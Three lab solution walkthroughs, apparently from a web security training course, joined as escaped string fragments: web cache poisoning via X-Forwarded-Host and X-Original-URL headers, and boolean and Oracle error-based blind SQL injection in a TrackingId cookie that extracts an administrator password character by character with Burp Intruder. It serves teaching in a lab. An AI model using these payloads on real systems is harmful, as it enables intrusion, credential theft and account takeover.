Add a cache buster and the following header, remembering to enter your own exploit server ID:\nX-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net\nSend the response and confirm that your exploit server is reflected in the response.\nTo simulate the victim, load the URL in the browser and confirm that the alert() fires.\nYou have successfully poisoned the cache for the Spanish page, but the target user's language is set to English. As it's not possible to exploit users with their language set to English, you need to find a way to forcibly change their language.\nIn Burp, go to \"Proxy\" > \"HTTP history\" and study the requests and responses that you generated. Notice that when you change the language on the page to anything other than English, this triggers a redirect, for example, to /setlang/es. The user's selected language is set server side using the lang=es cookie, and the home page is reloaded with the parameter ?localized=1.\nSend the GET request for the home page to Burp Repeater and add a cache buster.\nObserve that the X-Original-URL can be used to change the path of the request, so you can explicitly set /setlang/es. However, you will find that this response cannot be cached because it contains the Set-Cookie header.\nObserve that the home page sometimes uses backslashes as a folder separator. Notice that the server normalizes these to forward slashes using a redirect. Therefore, X-Original-URL: /setlang\\es triggers a 302 response that redirects to /setlang/es. Observe that this 302 response is cacheable and, therefore, can be used to force other users to the Spanish version of the home page.\nYou now need to combine these two exploits. First, poison the GET /?localized=1 page using the X-Forwarded-Host header to import your malicious JSON file from the exploit server.\nNow, while the cache is still poisoned, also poison the GET / page using X-Original-URL: /setlang\\es to force all users to the Spanish page.\nTo simulate the victim, load the English page in the browser and make sure that you are redirected and that the alert() fires.\nReplay both requests in sequence to keep the cache poisoned on both pages until the victim visits the site and the lab is solved.",

This demonstrates how you can test a single boolean condition and infer the result.\nNow change it to:\nTrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a\nVerify that the condition is true, confirming that there is a table called users.\nNow change it to:\nTrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a\nVerify that the condition is true, confirming that there is a user called administrator.\nThe next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:\nTrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a\nThis condition should be true, confirming that the password is greater than 1 character in length.\nSend a series of follow-up values to test different password lengths. Send:\nTrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a\nThen send:\nTrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a\nAnd so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the Welcome back message disappears), you have determined the length of the password, which is in fact 20 characters long.\nAfter determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.\nIn Burp Intruder, change the value of the cookie to:\nTrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a\nThis uses the SUBSTRING() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.\nPlace payload position markers around the final a character in the cookie value. To do this, select just the a, and click the Add § button. You should then see the following as the cookie value (note the payload position markers):\nTrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§\nTo test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. In the Payloads side panel, check that Simple list is selected, and under Payload configuration add the payloads in the range a - z and 0 - 9. You can select these easily using the Add from list drop-down.\nTo be able to tell when the correct character was submitted, you'll need to grep each response for the expression Welcome back. To do this, click on the Settings tab to open the Settings side panel. In the Grep - Match section, clear existing entries in the list, then add the value Welcome back.\nLaunch the attack by clicking the Start attack button.\nReview the attack results to find the value of the character at the first position. You should see a column in the results called Welcome back. One of the rows should have a tick in this column. The payload showing for that row is the value of the character at the first position.\nNow, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the Intruder tab, and change the specified offset from 1 to 2. You should then see the following as the cookie value:\nTrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a\nLaunch the modified attack, review the results, and note the character at the second offset.\nContinue this process testing offset 3, 4, and so on, until you have the whole password.\nIn the browser, click My account to open the login page. Use the password to log in as the administrator user.\nNote\nFor more advanced users, the solution described here could be made more elegant in various ways. For example, instead of iterating over every character, you could perform a binary search of the character space. Or you could create a single Intruder attack with two payload positions and the cluster bomb attack type, and work through all permutations of offsets and character values.",

To do this, you first need to construct a subquery using valid SQL syntax. Try submitting:\nTrackingId=xyz'||(SELECT '')||'\nIn this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query:\nTrackingId=xyz'||(SELECT '' FROM dual)||'\nAs you no longer receive an error, this indicates that the target is probably using an Oracle database, which requires all SELECT statements to explicitly specify a table name.\nNow that you've crafted what appears to be a valid query, try submitting an invalid query while still preserving valid SQL syntax. For example, try querying a non-existent table name:\nTrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'\nThis time, an error is returned. This behavior strongly suggests that your injection is being processed as a SQL query by the back-end.\nAs long as you make sure to always inject syntactically valid SQL queries, you can use this error response to infer key information about the database. For example, in order to verify that the users table exists, send the following query:\nTrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'\nAs this query does not return an error, you can infer that this table does exist. Note that the WHERE ROWNUM = 1 condition is important here to prevent the query from returning more than one row, which would break our concatenation.\nYou can also exploit this behavior to test conditions. First, submit the following query:\nTrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'\nVerify that an error message is received.\nNow change it to:\nTrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'\nVerify that the error disappears. This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The CASE statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions 1=1 and 1=2, and an error is received when the condition is true.\nYou can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username administrator exists:\nTrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nVerify that the condition is true (the error is received), confirming that there is a user called administrator.\nThe next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:\nTrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nThis condition should be true, confirming that the password is greater than 1 character in length.\nSend a series of follow-up values to test different password lengths. Send:\nTrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nThen send:\nTrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nAnd so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the error disappears), you have determined the length of the password, which is in fact 20 characters long.\nAfter determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.\nGo to Burp Intruder and change the value of the cookie to:\nTrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nThis uses the SUBSTR() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.\nPlace payload position markers around the final a character in the cookie value. To do this, select just the a, and click the \"Add §\" button. You should then see the following as the cookie value (note the payload position markers):\nTrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nTo test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. In the \"Payloads\" side panel, check that \"Simple list\" is selected, and under \"Payload configuration\" add the payloads in the range a - z and 0 - 9. You can select these easily using the \"Add from list\" drop-down.\nLaunch the attack by clicking the \" Start attack\" button.\nReview the attack results to find the value of the character at the first position. The application returns an HTTP 500 status code when the error occurs, and an HTTP 200 status code normally. The \"Status\" column in the Intruder results shows the HTTP status code, so you can easily find the row with 500 in this column. The payload showing for that row is the value of the character at the first position.\nNow, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the original Intruder tab, and change the specified offset from 1 to 2. You should then see the following as the cookie value:\nTrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'\nLaunch the modified attack, review the results, and note the character at the second offset.\nContinue this process testing offset 3, 4, and so on, until you have the whole password.\nIn the browser, click \"My account\" to open the login page.
